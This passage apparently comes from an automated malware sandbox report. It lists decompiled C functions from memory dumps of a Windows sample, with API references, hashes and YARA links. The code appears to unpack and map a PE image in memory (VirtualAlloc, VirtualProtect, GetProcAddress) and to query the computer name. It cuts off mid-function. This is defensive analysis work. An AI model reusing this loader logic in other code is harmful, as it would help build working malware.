						_t70 = E0267809F(0, _t18);
						_t89 = _t70;
						if(_t70 == 0) {
							_t80 = 8;
						} else {
							_t80 = E02676BFA(_a4, 0x80000001, _v12, _t89,  &_v72,  &_v68);
							E02679039(_t89);
						}
						if(_t80 != 0) {
							goto L17;
						} else {
							goto L14;
						}
					}
				}
			}

0x02673deb
0x02673dee
0x02673df5
0x02673dfb
0x02673dfc
0x02673dfd
0x02673dfe
0x02673dff
0x02673e00
0x02673e08
0x02673e14
0x02673e18
0x02673e1b
0x02673f6b
0x02673f6e
0x02673f72
0x02673f72
0x02673e2d
0x02673e35
0x02673f5e
0x02673f5f
0x02673f62
0x00000000
0x02673f62
0x02673e47
0x02673e49
0x02673e49
0x02673e54
0x02673e5b
0x02673e5e
0x02673f4d
0x00000000
0x02673e64
0x02673e64
0x02673e69
0x02673e72
0x02673e77
0x02673e80
0x02673ea3
0x02673e82
0x02673e98
0x02673e9a
0x02673e9a
0x02673ea6
0x02673f41
0x02673f44
0x02673f4e
0x02673f4e
0x02673f53
0x02673f55
0x02673f55
0x00000000
0x02673eac
0x02673eb3
0x02673ef4
0x02673f05
0x02673f1b
0x02673f1f
0x02673f24
0x02673f2a
0x02673f37
0x02673f37
0x02673f3c
0x00000000
0x02673f3c
0x02673eb5
0x02673eba
0x02673ec3
0x02673ec8
0x02673ecc
0x02673eef
0x02673ece
0x02673ee4
0x02673ee6
0x02673ee6
0x02673ef2
0x00000000
0x00000000
0x00000000
0x00000000
0x02673ef2
0x02673ea6

APIs

memset.NTDLL ref: 02673DEE

Part of subcall function 02676A12: ExpandEnvironmentStringsW.KERNEL32(00000000,00000000,00000000,?,?,00000000,02673E14,00410025,00000005,?,00000000), ref: 02676A23
Part of subcall function 02676A12: ExpandEnvironmentStringsW.KERNEL32(?,00000000,00000000,00000000), ref: 02676A40

lstrlenW.KERNEL32(00000000,00410025,00000005,?,00000000), ref: 02673E22
StrCmpNIW.KERNELBASE(00000000,00000000,00000000), ref: 02673E2D

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: EnvironmentExpandStrings$lstrlenmemset
String ID:
API String ID: 3817122888-0
Opcode ID: cb6408ed1fa476eef8db87017b8828ab5cfb1dc4605b016b272409d5c229b030
Instruction ID: afb72e4e48479a82339b59e1a21f32f6b0ca0baaa3d9cd523132f9f47a9ea38c
Opcode Fuzzy Hash: cb6408ed1fa476eef8db87017b8828ab5cfb1dc4605b016b272409d5c229b030
Instruction Fuzzy Hash: F0417F72A01218AFCB11EFF4EC84DEE7BBDAF08344B00456AE605EB210D775DE599B94

Uniqueness

Uniqueness Score: -1.00%

Function 02596194, Relevance: 3.1, APIs: 2, Instructions: 112
memoryCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E02596194(signed int __ebx, void* __ecx, signed int __edx, DWORD* __edi, long __esi, void* __eflags) {
				void* __ebp;
				void* _t44;
				long _t45;
				signed int _t49;
				int _t50;
				signed int _t51;
				void* _t55;
				long _t56;
				signed int _t59;
				signed int _t62;
				void* _t63;
				signed int _t64;
				signed int _t69;
				long _t72;
				signed int _t74;
				signed int _t76;
				DWORD* _t80;
				signed int _t83;
				void* _t84;
				signed int _t85;
				void* _t90;
				long _t94;
				void* _t97;
				void** _t99;
				void** _t100;

				_t92 = __esi;
				_t80 = __edi;
				_t69 = __edx;
				 *_t99 =  *_t99 + 0xffff0000;
				 *_t99 =  *_t99 - _t94;
				_t45 = E0259463F(_t44, __ebx, __ecx, __edi, __esi);
				_push(__ecx);
				_t62 = __ebx | __ebx;
				_t59 = _t62;
				_pop(_t63);
				if(_t62 != 0) {
					 *_t99 = 4;
					 *_t99 = 0x1000;
					_t94 =  *_t99;
					 *_t99 =  *(_t59 + 0x41823f);
					_t45 = VirtualAlloc(0, _t94, __esi, _t45);
				}
				 *_t99 =  *_t99 & 0x00000000;
				 *_t99 =  *_t99 | _t45;
				 *_t4 = _t94;
				 *(_t59 + 0x4184cf) = 2;
				 *(_t94 - 8) = _t69;
				 *(_t59 + 0x418379) =  *(_t59 + 0x418379) & 0x00000000;
				 *(_t59 + 0x418379) =  *(_t59 + 0x418379) | _t69 & 0x00000000 | _t45;
				_t72 =  *(_t94 - 8);
				if( *(_t59 + 0x4180f7) > 0) {
					_t56 = _t59 + 0x4184cf;
					 *_t99 =  *_t99 & 0x00000000;
					 *_t99 =  *_t99 | _t56;
					 *_t99 =  *_t99 + 0x40;
					 *_t99 =  *_t99 - _t56;
					_t72 =  *_t99;
					 *_t99 =  *(_t59 + 0x41856b);
					_t92 =  *_t99;
					 *_t99 =  *(_t59 + 0x4180f7);
					VirtualProtect( *_t99, _t72, _t56, _t80);
				}
				_push(_t80);
				 *_t99 =  *(_t59 + 0x418024);
				_push(_t72);
				_t99[1] =  *(_t59 + 0x418633);
				_t74 = _t72;
				 *(_t94 - 8) = E02594859(_t59, _t63, _t74,  *_t99, _t92);
				_t64 = 0 ^  *(_t59 + 0x41856b);
				_t49 =  *(_t94 - 8);
				 *_t99 = _t94;
				_t83 = 0 ^  *(_t59 + 0x4180f7);
				_t97 = 0;
				 *_t99 =  *_t99 | _t83;
				_t84 = _t83;
				if( *_t99 != 0) {
					 *_t99 =  *_t99 & 0x00000000;
					 *_t99 =  *_t99 + _t84;
					_t49 = E02592DF5(_t49, _t59, _t64, _t74, _t92, _t49);
				}
				 *_t99 =  *_t99 ^ _t49;
				_t50 = _t49;
				_t51 = memset(_t84, _t50, _t64 << 0);
				_t100 =  &(_t99[3]);
				_t85 = _t84 + _t64;
				if( *(_t59 + 0x418024) != _t59) {
					_t90 =  *_t100;
					 *_t100 =  *(_t59 + 0x418024);
					_t55 = E0259348F(_t59, 0, _t74, _t90, _t92, _t85); // executed
					_push(_t55);
					_t100[1] =  *(_t59 + 0x418024);
					_t85 = _t90;
					_t51 = E02594DF5(_t55, _t59, _t74, _t85, _t92);
				}
				_push(_t85);
				_t76 = _t74 & 0x00000000 ^ _t85 & 0x00000000 ^  *(_t59 + 0x418418);
				_t100[5] = _t76;
				 *(_t97 - 4) = _t51;
				 *((intOrPtr*)(_t97 - 8)) = 0;
				 *(_t97 + 4) =  *(_t97 + 4) & 0x00000000;
				 *(_t97 + 4) =  *(_t97 + 4) | 0 | _t76 & 0x00000000 ^ (_t51 & 0x00000000 |  *(_t59 + 0x418418));
				asm("popad");
				return  *(_t97 - 4);
			}

0x02596194
0x02596194
0x02596194
0x02596195
0x0259619c
0x0259619f
0x025961a4
0x025961a7
0x025961a9
0x025961ab
0x025961ac
0x025961af
0x025961b7
0x025961c5
0x025961c5
0x025961ca
0x025961ca
0x025961d1
0x025961d5
0x025961d8
0x025961de
0x025961e8
0x025961f0
0x025961f7
0x025961fd
0x02596207
0x02596209
0x02596210
0x02596214
0x02596218
0x0259621c
0x02596226
0x02596226
0x02596230
0x02596230
0x02596233
0x02596233
0x02596239
0x02596240
0x02596243
0x0259624b
0x0259624f
0x02596255
0x02596260
0x02596262
0x02596267
0x02596272
0x02596274
0x02596276
0x02596279
0x0259627a
0x0259627d
0x02596281
0x02596284
0x02596284
0x0259628a
0x0259628d
0x0259628e
0x0259628e
0x0259628e
0x02596296
0x0259629f
0x0259629f
0x025962a2
0x025962a7
0x025962af
0x025962b3
0x025962b4
0x025962b4
0x025962b9
0x025962c6
0x025962c9
0x025962cd
0x025962e1
0x025962e9
0x025962ed
0x025962f3
0x025962f5

APIs

VirtualAlloc.KERNELBASE(00000000,?,?,00000000), ref: 025961CA
VirtualProtect.KERNELBASE(?,?), ref: 02596233

Memory Dump Source

Source File: 00000000.00000002.493231718.0000000002590000.00000040.00000001.sdmp, Offset: 02590000, based on PE: true

Associated: 00000000.00000002.493383695.00000000025A8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.493417448.00000000025ED000.00000040.00000001.sdmp Download File

Similarity

API ID: Virtual$AllocProtect
String ID:
API String ID: 2447062925-0
Opcode ID: 973912ba655f0d42c6a3ce3ffd5477ebdb1fbb1cfb58effa8c75d7567b35407f
Instruction ID: caf4937a01015de571eb1956c3969f48ceda4a50042932019128022278a709b5
Opcode Fuzzy Hash: 973912ba655f0d42c6a3ce3ffd5477ebdb1fbb1cfb58effa8c75d7567b35407f
Instruction Fuzzy Hash: 1D41CF72904604DFEB00DF24C8847ADBBFAFFC8711F0A846DDD888B249DB7855418B69

Uniqueness

Uniqueness Score: -1.00%

Function 02679152, Relevance: 3.1, APIs: 2, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E02679152(void* __ecx, void* _a4, intOrPtr _a8, char _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr* _a28) {
				void* _v8;
				void* __esi;
				intOrPtr* _t35;
				void* _t40;
				intOrPtr* _t41;
				intOrPtr* _t43;
				intOrPtr* _t45;
				intOrPtr* _t50;
				intOrPtr* _t52;
				void* _t54;
				intOrPtr* _t55;
				intOrPtr* _t57;
				intOrPtr* _t61;
				intOrPtr* _t65;
				intOrPtr _t68;
				void* _t72;
				void* _t75;
				void* _t76;

				_t55 = _a4;
				_t35 =  *((intOrPtr*)(_t55 + 4));
				_a4 = 0;
				_t76 =  *((intOrPtr*)( *_t35 + 0x4c))(_t35, _a16, 0,  &_v8, 0, _t72, _t75, _t54, __ecx, __ecx);
				if(_t76 < 0) {
					L18:
					return _t76;
				}
				_t40 = E02673AEF(_v8, _a8, _a12, _a20,  &_a20,  &_a12); // executed
				_t76 = _t40;
				if(_t76 >= 0) {
					_t61 = _a28;
					if(_t61 != 0 &&  *_t61 != 0) {
						_t52 = _v8;
						_t76 =  *((intOrPtr*)( *_t52 + 0x14))(_t52, _a24, 0, _t61, 0);
					}
					if(_t76 >= 0) {
						_t43 =  *_t55;
						_t68 =  *0x267d27c; // 0xc7a5a8
						_t20 = _t68 + 0x267e1fc; // 0x740053
						_t76 =  *((intOrPtr*)( *_t43 + 0x60))(_t43, _t20, _a16, 0, 0, _v8,  &_a4, 0);
						if(_t76 >= 0) {
							_t76 = E02677C14(_a4);
							if(_t76 >= 0) {
								_t65 = _a28;
								if(_t65 != 0 &&  *_t65 == 0) {
									_t50 = _a4;
									_t76 =  *((intOrPtr*)( *_t50 + 0x10))(_t50, _a24, 0, _t65, 0, 0);
								}
							}
						}
						_t45 = _a4;
						if(_t45 != 0) {
							 *((intOrPtr*)( *_t45 + 8))(_t45);
						}
						_t57 = __imp__#6;
						if(_a20 != 0) {
							 *_t57(_a20);
						}
						if(_a12 != 0) {
							 *_t57(_a12);
						}
					}
				}
				_t41 = _v8;
				 *((intOrPtr*)( *_t41 + 8))(_t41);
				goto L18;
			}

0x02679158
0x0267915b
0x0267916b
0x02679174
0x02679178
0x02679246
0x0267924c
0x0267924c
0x02679192
0x02679197
0x0267919b
0x026791a1
0x026791a6
0x026791ad
0x026791bc
0x026791bc
0x026791c0
0x026791c2
0x026791ce
0x026791d9
0x026791e4
0x026791e8
0x026791f2
0x026791f6
0x026791f8
0x026791fd
0x02679204
0x02679214
0x02679214
0x026791fd
0x026791f6
0x02679216
0x0267921b
0x02679220
0x02679220
0x02679226
0x0267922c
0x02679231
0x02679231
0x02679236
0x0267923b
0x0267923b
0x02679236
0x026791c0
0x0267923d
0x02679243
0x00000000

APIs

Part of subcall function 02673AEF: SysAllocString.OLEAUT32(80000002), ref: 02673B46
Part of subcall function 02673AEF: SysFreeString.OLEAUT32(00000000), ref: 02673BAB

SysFreeString.OLEAUT32(?), ref: 02679231
SysFreeString.OLEAUT32(02671885), ref: 0267923B

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: 6eaac8b5e61be9370a46ff9aa2f293504aeda780b786ec19eaadbddb9e039b44
Instruction ID: 3914129ed7ad4f0ae2ff691c5ba46e21d4a20e78241bd6e997c76e3d4303e5f4
Opcode Fuzzy Hash: 6eaac8b5e61be9370a46ff9aa2f293504aeda780b786ec19eaadbddb9e039b44
Instruction Fuzzy Hash: FE312A72900119AFCB21EFA5D888C9FBBBAFFD97447154658F8159B210E3329D91CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1000135A, Relevance: 3.1, APIs: 2, Instructions: 59
stringthreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000135A() {
				char _v16;
				intOrPtr _v28;
				void _v32;
				void* _v36;
				intOrPtr _t15;
				void* _t16;
				long _t25;
				int _t26;
				void* _t30;
				intOrPtr* _t32;
				signed int _t36;
				intOrPtr _t39;

				_t15 =  *0x10004150;
				if( *0x1000412c > 5) {
					_t16 = _t15 + 0x100050f9;
				} else {
					_t16 = _t15 + 0x100050b1;
				}
				E10001FE7(_t16, _t16);
				_t36 = 6;
				memset( &_v32, 0, _t36 << 2);
				if(E10001414( &_v32,  &_v16,  *0x1000414c ^ 0xfd7cd1cf) == 0) {
					_t25 = 0xb;
				} else {
					_t26 = lstrlenW( *0x10004138);
					_t8 = _t26 + 2; // 0x2
					_t11 = _t26 + _t8 + 8; // 0xa
					_t30 = E1000102F(_t39, _t11,  &_v32,  &_v36); // executed
					if(_t30 == 0) {
						_t32 = _v36;
						 *_t32 = 0;
						if( *0x10004138 == 0) {
							 *((short*)(_t32 + 4)) = 0;
						} else {
							E1000200D(_t44, _t32 + 4);
						}
					}
					_t25 = E10001E11(_v28); // executed
				}
				ExitThread(_t25);
			}

0x10001360
0x10001371
0x1000137b
0x10001373
0x10001373
0x10001373
0x10001382
0x1000138b
0x10001390
0x100013ae
0x10001405
0x100013b0
0x100013b6
0x100013bc
0x100013ca
0x100013ce
0x100013d5
0x100013d7
0x100013e3
0x100013e5
0x100013f4
0x100013e7
0x100013ed
0x100013ed
0x100013e5
0x100013fc
0x100013fc
0x10001407

APIs

lstrlenW.KERNEL32(?,?,?,?), ref: 100013B6
ExitThread.KERNEL32 ref: 10001407

Memory Dump Source

Source File: 00000000.00000002.496130381.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.496109491.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496159830.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: ExitThreadlstrlen
String ID:
API String ID: 2636182767-0
Opcode ID: bbc03089cd780e3a685a91eb4c0c862dad5948ab76aa5244e081fc2d8405439e
Instruction ID: 2ce771c5e16d54c3ab671480280001d27b24c2f2c6965729a5a09e13ad1247cb
Opcode Fuzzy Hash: bbc03089cd780e3a685a91eb4c0c862dad5948ab76aa5244e081fc2d8405439e
Instruction Fuzzy Hash: D71149B1908245ABF711DBA4CC899CBB7ECEB483C0F02482AF555D7169EB30E6858B55

Uniqueness

Uniqueness Score: -1.00%

Function 026754BC, Relevance: 3.0, APIs: 2, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E026754BC(void* __ecx) {
				signed int _v8;
				void* _t15;
				void* _t19;
				void* _t20;
				void* _t22;
				intOrPtr* _t23;

				_t23 = __imp__;
				_t20 = 0;
				_v8 = _v8 & 0;
				 *_t23(3, 0,  &_v8, _t19, _t22, __ecx); // executed
				_t10 = _v8;
				if(_v8 != 0) {
					_t20 = E02672049(_t10 + 1);
					if(_t20 != 0) {
						_t15 =  *_t23(3, _t20,  &_v8); // executed
						if(_t15 != 0) {
							 *((char*)(_v8 + _t20)) = 0;
						} else {
							E02679039(_t20);
							_t20 = 0;
						}
					}
				}
				return _t20;
			}

0x026754c1
0x026754cc
0x026754ce
0x026754d4
0x026754d6
0x026754db
0x026754e4
0x026754e8
0x026754f1
0x026754f5
0x02675504
0x026754f7
0x026754f8
0x026754fd
0x026754fd
0x026754f5
0x026754e8
0x0267550d

APIs

GetComputerNameExA.KERNELBASE(00000003,00000000,0267A306,76D7F710,00000000,?,?,0267A306), ref: 026754D4

Part of subcall function 02672049: RtlAllocateHeap.NTDLL(00000000,00000000,02677E50), ref: 02672055

GetComputerNameExA.KERNELBASE(00000003,00000000,0267A306,0267A307,?,?,0267A306), ref: 026754F1

Part of subcall function 02679039: HeapFree.KERNEL32(00000000,00000000,02677F18,00000000,?,?,00000000), ref: 02679045

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: ComputerHeapName$AllocateFree
String ID:
API String ID: 187446995-0
Opcode ID: b058614e1e579133c489bc5d08076052474ccea40fe4f6c1ba6ca5cfed903ec2
Instruction ID: 44ca0d63b39e5dfe583ae31bf2a586383503046bbfe81ce7990cf0e8fcfc7e84
Opcode Fuzzy Hash: b058614e1e579133c489bc5d08076052474ccea40fe4f6c1ba6ca5cfed903ec2
Instruction Fuzzy Hash: 9EF05426610149BAFB11D6BAAC00EAF76EEDBC5654F5100AAAD05D3240EA70DF0187B0

Uniqueness

Uniqueness Score: -1.00%

Function 02678055, Relevance: 3.0, APIs: 2, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_(intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _t4;
				void* _t10;
				void* _t11;
				void* _t12;
				void* _t14;

				_t14 = 1;
				_t4 = _a8;
				if(_t4 == 0) {
					if(InterlockedDecrement(0x267d23c) == 0) {
						E0267970F();
					}
				} else {
					if(_t4 == 1 && InterlockedIncrement(0x267d23c) == 1) {
						_t10 = E02676A56(_t11, _t12, _a4); // executed
						if(_t10 != 0) {
							_t14 = 0;
						}
					}
				}
				return _t14;
			}

0x0267805c
0x0267805d
0x02678060
0x02678092
0x02678094
0x02678094
0x02678062
0x02678063
0x02678078
0x0267807f
0x02678081
0x02678081
0x0267807f
0x02678063
0x0267809c

APIs

InterlockedIncrement.KERNEL32(0267D23C), ref: 0267806A

Part of subcall function 02676A56: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,00000001,?,?,?,0267807D,?), ref: 02676A69

InterlockedDecrement.KERNEL32(0267D23C), ref: 0267808A

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: Interlocked$CreateDecrementHeapIncrement
String ID:
API String ID: 3834848776-0
Opcode ID: 254e433e2934caf30632c2f688d2c5a58a28e29155f37a2e1ae25e3b46872c2e
Instruction ID: 42f8d00c5bb2cddf5b04ffa6f3523715c8e1f276a7009a12e53fe7deb06b5c08
Opcode Fuzzy Hash: 254e433e2934caf30632c2f688d2c5a58a28e29155f37a2e1ae25e3b46872c2e
Instruction Fuzzy Hash: 4EE02C382902A153E3342BB4B84CB2EB749AF00B80F008A18F68AD2260C720CCD1AAD1

Uniqueness

Uniqueness Score: -1.00%

Function 02679318, Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E02679318(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v12;
				void* _v18;
				short _v20;
				intOrPtr _t15;
				short _t17;
				intOrPtr _t19;
				short _t23;

				_t23 = 0;
				_v20 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t15 =  *0x267d27c; // 0xc7a5a8
				_t4 = _t15 + 0x267e39c; // 0x32f8944
				_t20 = _t4;
				_t6 = _t15 + 0x267e124; // 0x650047
				_t17 = E02679152(_t4, _a4, 0x80000002, _a8, _t6, _a12, _t4,  &_v20); // executed
				if(_t17 < 0) {
					_t23 = _t17;
				} else {
					if(_v20 != 8) {
						_t23 = 1;
					} else {
						_t19 = E02679FC9(_t20, _v12);
						if(_t19 == 0) {
							_t23 = 8;
						} else {
							 *_a16 = _t19;
						}
						__imp__#6(_v12);
					}
				}
				return _t23;
			}

0x02679322
0x02679324
0x0267932b
0x0267932c
0x0267932d
0x0267932e
0x02679334
0x02679339
0x02679339
0x02679343
0x02679355
0x0267935c
0x0267938b
0x0267935e
0x02679363
0x02679388
0x02679365
0x02679368
0x0267936f
0x0267937a
0x02679371
0x02679374
0x02679374
0x0267937e
0x0267937e
0x02679363
0x02679392

APIs

Part of subcall function 02679152: SysFreeString.OLEAUT32(?), ref: 02679231

Part of subcall function 02679FC9: lstrlenW.KERNEL32(004F0053,00000000,00000000,?,?,02677946,004F0053,00000000,?), ref: 02679FD2
Part of subcall function 02679FC9: memcpy.NTDLL(00000000,004F0053,?,?,00000002,?,?,02677946,004F0053,00000000,?), ref: 02679FFC
Part of subcall function 02679FC9: memset.NTDLL ref: 0267A010

SysFreeString.OLEAUT32(00000000), ref: 0267937E

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeString$lstrlenmemcpymemset
String ID:
API String ID: 397948122-0
Opcode ID: 2e8612cc405ed1d7a963e2ceef0d3ef1755fb6f7b9635dabcece4c01ed090564
Instruction ID: ddbe21fbce088097faf0fdf87b514eb9ce03b374eee01fb74b5c60cfb865dcc5
Opcode Fuzzy Hash: 2e8612cc405ed1d7a963e2ceef0d3ef1755fb6f7b9635dabcece4c01ed090564
Instruction Fuzzy Hash: A301D432501019BFCF149FA8EC44DAEBBF9FB44724F014965E911E31A0D3719965CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 10001FE7, Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E10001FE7(void* __eax, intOrPtr _a4) {

				 *0x10004148 =  *0x10004148 & 0x00000000;
				_push(0);
				_push(0x10004144);
				_push(1);
				_push(_a4);
				 *0x10004140 = 0xc; // executed
				L10001BD6(); // executed
				return __eax;
			}

0x10001fe7
0x10001fee
0x10001ff0
0x10001ff5
0x10001ff7
0x10001ffb
0x10002005
0x1000200a

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorA.ADVAPI32(10001387,00000001,10004144,00000000), ref: 10002005

Memory Dump Source

Source File: 00000000.00000002.496130381.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.496109491.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496159830.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: DescriptorSecurity$ConvertString
String ID:
API String ID: 3907675253-0
Opcode ID: 797134a9b1f988486b15df9cd10c437d68bca56e1d0ccba6a6193b38078adc0e
Instruction ID: 77fc3a402b1b28792d7a6ab77bf10cd6ea7ed93b7dc72413e294461ac678640d
Opcode Fuzzy Hash: 797134a9b1f988486b15df9cd10c437d68bca56e1d0ccba6a6193b38078adc0e
Instruction Fuzzy Hash: 87C048F8140310ABF620DB019C86FC57AA2B7A4789F224508F200262E8DBB920988A2D

Uniqueness

Uniqueness Score: -1.00%

Function 10001E11, Relevance: 1.3, APIs: 1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E10001E11(void* __eax) {
				char _v8;
				void* _v12;
				void* __edi;
				void* _t18;
				long _t24;
				long _t26;
				long _t29;
				intOrPtr _t40;
				void* _t41;
				intOrPtr* _t42;
				void* _t44;

				_t41 = __eax;
				_t16 =  *0x1000414c;
				_t33 =  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x1000414c - 0x63698bc4 &  !( *0x1000414c - 0x63698bc4);
				_t18 = E10001A0F( *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x1000414c - 0x63698bc4 &  !( *0x1000414c - 0x63698bc4),  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x1000414c - 0x63698bc4 &  !( *0x1000414c - 0x63698bc4), _t16 + 0x9c96647d,  &_v8,  &_v12); // executed
				if(_t18 != 0) {
					_t29 = 8;
					goto L8;
				} else {
					_t40 = _v8;
					_t29 = E1000125B(_t33, _t40, _t41);
					if(_t29 == 0) {
						_t44 =  *((intOrPtr*)(_t40 + 0x3c)) + _t40;
						_t24 = E10001745(_t40, _t44); // executed
						_t29 = _t24;
						if(_t29 == 0) {
							_t26 = E10001179(_t44, _t40); // executed
							_t29 = _t26;
							if(_t29 == 0) {
								_push(_t26);
								_push(1);
								_push(_t40);
								if( *((intOrPtr*)( *((intOrPtr*)(_t44 + 0x28)) + _t40))() == 0) {
									_t29 = GetLastError();
								}
							}
						}
					}
					_t42 = _v12;
					 *((intOrPtr*)(_t42 + 0x18))( *((intOrPtr*)(_t42 + 0x1c))( *_t42));
					E10001DFC(_t42);
					L8:
					return _t29;
				}
			}

0x10001e19
0x10001e1b
0x10001e37
0x10001e48
0x10001e4f
0x10001ead
0x00000000
0x10001e51
0x10001e51
0x10001e5b
0x10001e5f
0x10001e64
0x10001e67
0x10001e6c
0x10001e70
0x10001e75
0x10001e7a
0x10001e7e
0x10001e83
0x10001e84
0x10001e88
0x10001e8d
0x10001e95
0x10001e95
0x10001e8d
0x10001e7e
0x10001e70
0x10001e97
0x10001ea0
0x10001ea4
0x10001eae
0x10001eb4
0x10001eb4

APIs

Part of subcall function 10001A0F: GetModuleHandleA.KERNEL32(?,00000020,?,?,?,?,?,10001E4D,?,?,?,?,?,00000002,?,10001401), ref: 10001A33
Part of subcall function 10001A0F: GetProcAddress.KERNEL32(00000000,?), ref: 10001A55
Part of subcall function 10001A0F: GetProcAddress.KERNEL32(00000000,?), ref: 10001A6B
Part of subcall function 10001A0F: GetProcAddress.KERNEL32(00000000,?), ref: 10001A81
Part of subcall function 10001A0F: GetProcAddress.KERNEL32(00000000,?), ref: 10001A97
Part of subcall function 10001A0F: GetProcAddress.KERNEL32(00000000,?), ref: 10001AAD

Part of subcall function 1000125B: memcpy.NTDLL(?,?,?), ref: 10001288
Part of subcall function 1000125B: memcpy.NTDLL(?,?,?), ref: 100012BB

Part of subcall function 10001745: LoadLibraryA.KERNELBASE(?,?,00000000,?,?), ref: 1000177D

Part of subcall function 10001179: VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 100011B2
Part of subcall function 10001179: VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 10001227
Part of subcall function 10001179: GetLastError.KERNEL32 ref: 1000122D

GetLastError.KERNEL32(?,10001401), ref: 10001E8F

Memory Dump Source

Source File: 00000000.00000002.496130381.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.496109491.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496159830.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: AddressProc$ErrorLastProtectVirtualmemcpy$HandleLibraryLoadModule
String ID:
API String ID: 2673762927-0
Opcode ID: 0740a9f17521f8df7bbe915c9895f6c6409a621ade32a0bd2e8e166a0619371c
Instruction ID: 2043a04cbec374512fa6f71088344ccde69893edc298cb54b1ed822475c5d404
Opcode Fuzzy Hash: 0740a9f17521f8df7bbe915c9895f6c6409a621ade32a0bd2e8e166a0619371c
Instruction Fuzzy Hash: 5A112B7A700756ABE321DBA9CC80DDF77BCEF892947054129FD0197649EAB0FD0687A0

Uniqueness

Uniqueness Score: -1.00%

Function 026721CD, Relevance: 1.3, APIs: 1, Instructions: 57
memoryCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E026721CD(void* __ecx, signed char* _a4) {
				void* _v8;
				void* _t8;
				signed short _t11;
				signed int _t12;
				signed int _t14;
				intOrPtr _t15;
				void* _t19;
				signed short* _t22;
				void* _t24;
				intOrPtr* _t27;

				_t24 = 0;
				_push(0);
				_t19 = 1;
				_t27 = 0x267d330;
				E026784D5();
				while(1) {
					_t8 = E026712D4(_a4,  &_v8); // executed
					if(_t8 == 0) {
						break;
					}
					_push(_v8);
					_t14 = 0xd;
					_t15 = E0267809F(_t14);
					if(_t15 == 0) {
						HeapFree( *0x267d238, 0, _v8);
						break;
					} else {
						 *_t27 = _t15;
						_t27 = _t27 + 4;
						_t24 = _t24 + 1;
						if(_t24 < 3) {
							continue;
						} else {
						}
					}
					L7:
					_push(1);
					E026784D5();
					if(_t19 != 0) {
						_t22 =  *0x267d338; // 0x32f9b80
						_t11 =  *_t22 & 0x0000ffff;
